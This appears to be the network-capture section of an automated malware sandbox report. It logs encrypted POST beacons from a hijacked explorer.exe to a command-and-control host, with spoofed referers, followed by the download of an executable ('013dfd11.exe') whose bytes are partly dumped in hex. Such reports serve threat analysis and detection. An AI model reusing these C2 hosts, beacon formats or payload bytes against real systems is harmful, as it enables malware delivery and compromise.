Feb 16, 2023 11:49:10.748380899 CET	168	IN	Data Raw: d1 a3 8d d8 ef bf 00 00 00 40 f6 7d 88 3c 00 00 00 00 00 00 c0 3f d5 67 59 0e 1f 1d ac bf b0 5c f7 cf 97 62 ef bf 00 00 00 20 17 62 75 bc 00 00 00 00 00 00 d0 3f 2d f8 ac 76 31 a0 a4 3f da 2d c6 56 41 9f ee bf 00 00 00 e0 b1 60 87 bc 00 00 00 00 Data Ascii: @}<?gY\b bu?-v1?-VA`?uZEeuF2k Wt?N,J8v<?s?)f09?Xw$3?Ak <?2y?;f 4<
Feb 16, 2023 11:49:10.748406887 CET	169	IN	Data Raw: 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 Data Ascii: our application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function call
Feb 16, 2023 11:49:10.748434067 CET	170	IN	Data Raw: 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 Data Ascii: ((((( H
Feb 16, 2023 11:49:10.748459101 CET	172	IN	Data Raw: 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd Data Ascii: \|}~
Feb 16, 2023 11:49:10.748483896 CET	173	IN	Data Raw: 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 Data Ascii: ynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete
Feb 16, 2023 11:49:10.910378933 CET	174	IN	Data Raw: e8 3b 40 00 e4 3b 40 00 e0 3b 40 00 dc 3b 40 00 d8 3b 40 00 d4 3b 40 00 d0 3b 40 00 cc 3b 40 00 c8 3b 40 00 c4 3b 40 00 c0 3b 40 00 bc 3b 40 00 b8 3b 40 00 b4 3b 40 00 b0 3b 40 00 ac 3b 40 00 a8 3b 40 00 a4 3b 40 00 a0 3b 40 00 9c 3b 40 00 98 3b Data Ascii: ;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@x;@p;@d;@L;@@;@,;@;@:@:@:@:@h:@L:@(:@:@9@9@9@9@9@9@t9@l9@`9@P9@49@9@8@8@8@p8@T8@08@8@7@7@7@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49701	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:22.310028076 CET	4212	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wfofmsqw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: perficut.at
Feb 16, 2023 11:49:22.311294079 CET	4212	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 0b 6b 2c 90 f4 76 0b 75 50 30 ce ed Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA ,[k,vuP0[z]y5!Dt^Y2R=A<@CLy_2?`>;=C_uw]xh&_YCqluu7R
Feb 16, 2023 11:49:23.200639009 CET	4213	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49702	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:23.446255922 CET	4214	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ublja.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 211 Host: perficut.at
Feb 16, 2023 11:49:23.446322918 CET	4214	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 66 2e ff fc Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuf.JONuNr>4vu&Fon"?KY,wp\|-JK%OHU!gJYB01r
Feb 16, 2023 11:49:24.296039104 CET	4215	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49703	187.209.149.199	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:25.060962915 CET	4216	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gqjdijg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 172 Host: perficut.at
Feb 16, 2023 11:49:25.060964108 CET	4216	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 2b 14 bc a9 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vu+smvu>Rc9++y`Cz[F.V_<(Q=4]vY
Feb 16, 2023 11:49:25.982264996 CET	4217	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49704	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:26.225572109 CET	4218	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmmchdvdhl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: perficut.at
Feb 16, 2023 11:49:26.225621939 CET	4218	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 5c 27 f9 b8 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vu\'sDZQiIsdf{?4mPj3`lG5%
Feb 16, 2023 11:49:27.117360115 CET	4219	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49705	37.234.187.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:27.779519081 CET	4220	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qcrfmk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 144 Host: perficut.at
Feb 16, 2023 11:49:27.779558897 CET	4220	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 6e 17 b1 ae Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vun_8Fa[aL"$`2yf,\N::DN.
Feb 16, 2023 11:49:28.032346010 CET	4220	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 48 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 09 6f 41 ba 3b 05 f6 b6 51 f6 d1 f1 b3 31 80 2b d8 eb 6c 53 1b 88 8f 97 80 74 dc 2e Data Ascii: #\6oA;Q1+lSt.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49706	190.114.9.88	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-16 10:49:28 UTC	0	OUT	GET /systems/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: beg.com.ve
2023-02-16 10:49:29 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 16 Feb 2023 10:49:28 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=013dfd11.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Nginx-Upstream-Cache-Status: EXPIRED X-Server-Powered-By: Engintron
2023-02-16 10:49:29 UTC	0	IN	Data Raw: 38 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 12 2b 9d 19 73 45 ce 19 73 45 ce 19 73 45 ce 07 21 d0 ce 04 73 45 ce 07 21 c6 ce 70 73 45 ce 07 21 c1 ce 31 73 45 ce 3e b5 3e ce 10 73 45 ce 19 73 44 ce 99 73 45 ce 07 21 cf ce 18 73 45 ce 07 21 d1 ce 18 73 45 ce 07 21 d4 ce 18 73 45 ce 52 69 63 68 19 73 45 ce 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 9c c0 eb 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b Data Ascii: 8000MZ@!L!This program cannot be run in DOS mode.$]+sEsEsE!sE!psE!1sE>>sEsDsE!sE!sE!sERichsEPELa
2023-02-16 10:49:29 UTC	16	IN	Data Raw: 40 00 ff 15 74 10 40 00 8b 45 f0 40 3d a3 95 4f 00 89 45 f0 0f 8c 6f ff ff ff 8b 35 94 11 40 00 8b 3d 88 11 40 00 8b 1d 58 10 40 00 c7 45 f0 f4 04 00 00 8d 9b 00 00 00 00 6a 00 ff d6 6a 00 6a 00 ff d7 ff d3 83 6d f0 01 75 ee 8b 3d 5c 10 40 00 8b 1d ac 10 40 00 33 f6 6a 00 ff d7 ff d3 81 fe e8 c0 26 00 0f 8d 1b 0e 00 00 c7 45 b0 9d 3f d3 75 c7 85 f8 fe ff ff 4d 41 dd 42 c7 45 ec 78 27 43 7a c7 45 e8 f7 b8 c1 43 c7 85 00 ff ff ff 7e 44 4a 75 c7 85 8c fe ff ff f3 cd 54 7f c7 45 ac c3 11 24 05 c7 85 78 ff ff ff c8 71 ad 5b c7 85 1c ff ff ff 9d 58 61 0a c7 45 bc 9b 79 9d 5b c7 85 3c ff ff ff 9d 57 ba 21 c7 85 2c fe ff ff 64 1b 18 63 c7 85 bc fe ff ff 66 f4 28 1b c7 85 24 ff ff ff ec d6 02 01 c7 85 88 fe ff ff 4b 0c 66 6d c7 85 84 fe ff ff c3 84 4b 6e c7 85 6c Data Ascii: @t@E@=OEo5@=@X@Ejjjmu=\@@3j&E?uMABEx'CzEC~DJuTE$xq[XaEy[<W!,dcf($KfmKnl
2023-02-16 10:49:29 UTC	32	IN	Data Raw: 00 dd 07 dd 1e eb 84 c7 45 dc e0 1d 40 00 e9 78 ff ff ff c7 45 d8 02 00 00 00 e9 f7 fe ff ff d9 e8 e9 bb 00 00 00 c7 45 d8 03 00 00 00 c7 45 dc ac 1d 40 00 e9 e4 fe ff ff 81 c1 18 fc ff ff 83 f9 0c 0f 87 9b 00 00 00 ff 24 8d ff 8a 40 00 c7 45 dc d0 1d 40 00 eb a9 c7 45 dc d4 1d 40 00 eb a0 c7 45 dc dc 1d 40 00 eb 97 c7 45 dc a4 1d 40 00 eb 8e c7 45 dc 9c 1d 40 00 eb 85 c7 45 dc 94 1d 40 00 e9 79 ff ff ff c7 45 dc 8c 1d 40 00 e9 6d ff ff ff c7 45 dc 88 1d 40 00 eb 10 c7 45 dc 84 1d 40 00 eb 07 c7 45 dc 80 1d 40 00 dd 07 dc 4d f8 dd 16 dd 07 dd 5d e0 dd 03 dd 5d e8 8d 4d d8 dd 5d f0 51 c7 45 d8 01 00 00 00 ff d0 59 85 c0 75 0b e8 78 e5 ff ff c7 00 21 00 00 00 dd 45 f0 dd 1e 5f 5e 5b c9 c3 66 8a 40 00 6f 8a 40 00 78 8a 40 00 81 8a 40 00 8a 8a 40 00 93 8a 40 Data Ascii: E@xEEE@$@E@E@E@E@E@E@yE@mE@E@E@M]]M]QEYux!E_^[f@o@x@@@@
2023-02-16 10:49:29 UTC	48	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 d9 b7 ff ff ff b6 88 00 00 00 e8 ce b7 ff ff ff b6 8c 00 00 00 e8 c3 b7 ff ff ff b6 90 00 00 00 e8 b8 b7 ff ff ff b6 94 00 00 00 e8 ad b7 ff ff ff b6 98 00 00 00 e8 a2 b7 ff ff ff b6 9c 00 00 00 e8 97 b7 ff ff ff b6 a0 00 00 00 e8 8c b7 ff ff ff b6 a4 00 00 00 e8 81 b7 ff ff ff b6 a8 00 00 00 e8 76 b7 ff ff 83 c4 2c 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 35 8b 06 3b 05 58 4b 41 00 74 07 50 e8 53 b7 ff ff 59 8b 46 04 3b 05 5c 4b 41 00 74 07 50 e8 41 b7 ff ff 59 8b 76 08 3b 35 60 4b 41 00 74 07 56 e8 2f b7 ff ff 59 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 7e 8b 46 0c 3b 05 64 4b 41 00 74 07 50 e8 0d b7 ff ff 59 8b 46 10 3b 05 68 4b 41 00 74 07 50 e8 fb b6 ff ff 59 8b 46 14 3b 05 6c 4b 41 00 74 07 50 e8 e9 b6 ff ff 59 8b Data Ascii: v,^]UVut5;XKAtPSYF;\KAtPAYv;5`KAtV/Y^]UVut~F;dKAtPYF;hKAtPYF;lKAtPY
2023-02-16 10:49:29 UTC	64	IN	Data Raw: bd ff ff 59 89 7d fc 53 e8 f4 c2 ff ff 59 89 45 e0 3b c7 0f 84 9e 00 00 00 3b 35 34 2c 5a 00 77 49 56 53 50 e8 d6 c7 ff ff 83 c4 0c 85 c0 74 05 89 5d e4 eb 35 56 e8 a5 ca ff ff 59 89 45 e4 3b c7 74 27 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 9a 86 ff ff 53 e8 a4 c2 ff ff 89 45 e0 53 50 e8 ca c2 ff ff 83 c4 18 39 7d e4 75 48 3b f7 75 06 33 f6 46 89 75 0c 83 c6 0f 83 e6 f0 89 75 0c 56 57 ff 35 c4 5a 47 00 ff 15 0c 11 40 00 89 45 e4 3b c7 74 20 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 46 86 ff ff 53 ff 75 e0 e8 7d c2 ff ff 83 c4 14 c7 45 fc fe ff ff ff e8 2e 00 00 00 83 7d e0 00 75 31 85 f6 75 01 46 83 c6 0f 83 e6 f0 89 75 0c 56 53 6a 00 ff 35 c4 5a 47 00 ff 15 bc 10 40 00 8b f8 eb 12 8b 75 0c 8b 5d 08 6a 04 e8 fd bb ff ff 59 c3 8b 7d e4 85 ff Data Ascii: Y}SYE;;54,ZwIVSPt]5VYE;t'CH;rPSuSESP9}uH;u3FuuVW5ZG@E;t CH;rPSuFSu}E.}u1uFuVSj5ZG@u]jY}
2023-02-16 10:49:29 UTC	80	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 41 52 85 eb c7 26 ef aa 66 b4 8a 37 51 Data Ascii: AR&f7Q
2023-02-16 10:49:29 UTC	96	IN	Data Raw: 2f 24 eb 3b c7 9f 30 70 a9 63 9a b0 e7 34 8d 97 45 67 a0 e8 1f 47 40 b6 84 26 d6 fe 6d 10 03 bf 7f 2e d4 f7 48 99 4c 5f 16 12 2b 0e 43 5e 11 68 6d ca 1b d4 6b 7f 4f 35 ba 9f b0 8f 79 5f c3 67 f2 d7 f3 a5 4e 34 d1 5f 50 30 81 29 30 17 a3 eb 1b 6d e5 46 01 ef b4 50 35 41 3e 0d c5 57 0a 9e 2b 5a 50 2d 06 f8 6c 61 77 2d e2 32 26 89 bd 81 ee cd 84 c4 93 4d fa 64 a3 1c 1e 3c eb 6f fa 77 43 08 4f 38 ec 41 09 55 93 ba d1 f7 b6 ce 55 f9 24 56 98 f1 54 90 fb 49 db 2b 95 37 2d 25 68 a0 1b b8 66 ca 1b 9c 39 8e 11 8f 5d dd 8e b3 40 6a 90 8b 99 15 b8 8c 52 f4 4b 73 c0 6c 7a 38 99 7f 06 ad ae aa e6 1b 05 e2 47 7e 82 f6 b3 a1 31 42 ed 75 23 bc 21 f3 52 fc 92 e2 74 1c 39 fb 1c 20 fe 44 df d2 9c 91 36 f6 66 de 28 27 ae 97 5c 59 73 59 22 ef e0 34 ec 6c c4 36 37 47 e0 2e c9 Data Ascii: /$;0pc4EgG@&m.HL_+C^hmkO5y_gN4_P0)0mFP5A>W+ZP-law-2&Md<owCO8AUU$VTI+7-%hf9]@jRKslz8G~1Bu#!Rt9 D6f('\YsY"4l67G.
